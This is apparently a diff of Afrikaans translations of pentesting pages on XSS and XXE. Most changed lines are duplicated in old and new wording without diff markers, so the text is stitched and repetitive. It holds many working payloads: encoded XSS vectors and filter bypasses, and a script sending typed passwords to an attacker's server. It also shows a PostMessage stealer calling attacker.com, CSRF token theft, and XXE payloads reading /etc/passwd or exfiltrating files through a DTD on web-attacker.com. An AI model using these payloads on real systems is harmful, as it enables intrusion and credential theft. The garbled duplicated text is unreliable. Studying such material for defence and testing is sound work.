As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
```bash
" autofocus onfocus=alert(document.domain) x="
@ -272,7 +272,7 @@ Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascri
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
Die **HTML-gecodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Let daarop dat **enige soort HTML-kodering geldig is**:
```javascript
@ -351,17 +351,17 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal **geïntrepreteer** word as 'n **enkele aanhaling** tydens die **uitvoering**.
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
**Gebruik Hex en Octal kodeer met `javascript:`**
**Gebruik Hex en Octal kodering met `javascript:`**
Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -373,7 +373,7 @@ Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten m
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Omgekeerde tab nabbing
### Reverse tab nabbing
```javascript
<a target="_blank" rel="opener"
```
@ -383,10 +383,10 @@ As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`targe
../reverse-tab-nabbing.md
{{#endref}}
### op Gebeurtenis Hanteerders Omseiling
### oor Event Handlers Bypass
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
As daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -448,7 +448,7 @@ Lees die J[avaScript omseiling swartlys van die volgende afdeling](#javascript-b
### CSS-Gadgets
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset** te wysig om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +468,7 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
## Inspuiting binne JavaScript kode
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
In hierdie geval gaan jou **invoer** **reflekteer binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
### Ontsnapping van \<script> etiket
@ -476,7 +476,7 @@ As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>`
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
### Binne JS-kode
@ -746,7 +746,7 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
dom-xss.md
{{#endref}}
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle veroorsaak word, en hoe om hulle te benut**.\
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
### Opgradering van Self-XSS
@ -792,7 +792,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
Dan sal die onfocus-attribuut ingevoeg word en XSS vind plaas.
### Spesiale kombinasies
```html
@ -826,12 +826,12 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS met header-inspuiting in 'n 302 respons
As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrêre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
### Slegs Letters, Nommers en Punte
### Slegs Letters, Syfers en Punte
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
Die antwoord is:
- **module** (verstek, niks om te verduidelik nie)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer.
```html
<script type="webbundle">
{
@ -899,9 +899,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur vooraf-rendering veroorsaak word, op te los. Dit werk soos volg:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
```html
<script type="speculationrules">
{
@ -932,9 +932,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Inhouds tipe
### xml Inhoudstype
As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -989,7 +989,7 @@ constructor(source)()
```
As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Deur gebruik te maak van import()
- Deur import() te gebruik
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
@ -1002,7 +1002,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
Daarom, as ons uit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te verkry:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1360,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen reaksie aan._
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1379,9 +1379,9 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word.
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelek word.
### Sleutellogger
### Keylogger
Net deur in github te soek, het ek 'n paar verskillende gevind:
@ -1390,7 +1390,7 @@ Net deur in github te soek, het ek 'n paar verskillende gevind:
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Jy kan ook metasploit `http_javascript_keylogger` gebruik
### Diefstal van CSRF tokens
### Steel CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1405,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Steel PostMessage boodskappe
### Steel PostMessage-boodskappe
```html
<img src="https://attacker.com/?" id=message>
<script>
@ -1559,7 +1559,7 @@ pdf-injection.md
### XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
@ -1625,7 +1625,7 @@ id="foo"/>
```
Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verskeie JS Triks & Relevante Inligting
## Verskeie JS Trukke & Relevante Inligting
{{#ref}}
other-js-tricks.md

View File

@ -4,7 +4,7 @@
## XML Basiese Beginsels
XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deurdat dit nie beperk is tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
XML is 'n opmaaktaal wat ontwerp is vir dataopberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
@ -16,7 +16,7 @@ XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame s
## Hoofaanvalle
[**Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**Die meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Nuwe Entiteit toets
@ -35,7 +35,7 @@ In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
Kom ons probeer om `/etc/passwd` op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: `C:\windows\system32\drivers\etc\hosts`
In hierdie eerste geval let op dat SYSTEM "_\*\*file:///\*\*etc/passwd_" ook sal werk.
In hierdie eerste geval let op dat SYSTEM "_**file:///**etc/passwd_" ook sal werk.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -65,7 +65,7 @@ In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
### Gidslys
In **Java** gebaseerde toepassings kan dit moontlik wees om die **inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids te lys** via XXE met 'n payload soos (net die gids vra in plaas van die lêer):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ In **Java** gebaseerde toepassings kan dit moontlik wees om die **inhoud van 'n
```
### Blind SSRF
Met die **voorheen kommentaar gelede tegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML parameter entiteite** te gebruik:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ Met die **voorheen kommentaar gelede tegniek** kan jy die bediener laat toegang
```
### "Blind" SSRF - Exfiltreer data uit-band
**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit uit te haal via \_ftp://**\_ met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
**In hierdie geval gaan ons die bediener laat 'n nuwe DTD met 'n kwaadwillige payload laai wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:
@ -121,18 +121,18 @@ Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer,
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe uit wat in die kwaadwillige DTD uiteengesit is en lei tot die ekfiltrasie van die `/etc/hostname`-lêer na die aanvaller se bediener.
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
### Foutgebaseerd (Eksterne DTD)
**In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld hier.**](https://portswigger.net/web-security/xxe/blind)
'n XML-parsing foutboodskap, wat die inhoud van die `/etc/passwd`-lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
'n XML-parsingsfoutboodskap, wat die inhoud van die `/etc/passwd` lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd`-lêer bevat.
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die `/etc/passwd`-lêer as deel van die lêernaam insluit.
4. Aangroeping van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
```xml
@ -144,15 +144,15 @@ Upon execution, the web server's response should include an error message displa
![](<../images/image (809).png>)
_**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede (\*\***`eval`\***\*), maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
_**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede `eval` in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
### **Foutgebaseerd (sisteem DTD)**
### **Foutgebaseerd (stelsel DTD)**
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameter entiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is, moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
Oorweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -165,11 +165,11 @@ Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/u
%local_dtd;
]>
```
Die uiteengesette stappe word uitgevoer deur hierdie DTD:
Die uiteengesette stappe word deur hierdie DTD uitgevoer:
- Die definisie van 'n XML parameterentiteit genaamd `local_dtd` sluit die eksterne DTD-lêer in wat op die bediener se lêerstelsel geleë is.
- 'n Herdefinisie vind plaas vir die `custom_entity` XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n [fout-gebaseerde XXE-uitbuiting](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) te omhul. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die `/etc/passwd` lêer blootstel.
- Deur die `local_dtd` entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die uitbuiting beoog word.
- 'n Herdefinisie vind plaas vir die `custom_entity` XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) te omhul. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die `/etc/passwd` lêer blootstel.
- Deur die `local_dtd` entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.
**Werklike wêreld voorbeeld:** Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by `/usr/share/yelp/dtd/docbookx.dtd` wat 'n entiteit genaamd `ISOamso` bevat.
```xml
@ -188,7 +188,7 @@ Die uiteengesette stappe word uitgevoer deur hierdie DTD:
```
![](<../images/image (625).png>)
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur die **dieselfde OS / sagteware** te installeer wat die bediener gebruik en **sommige standaard DTD's** te soek, of **'n lys** van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur **die dieselfde OS / sagteware** wat die bediener gebruik te **installeer** en **sommige standaard DTD's** te **soek**, of **'n lys** van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -221,13 +221,13 @@ Testing 0 entities : []
Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
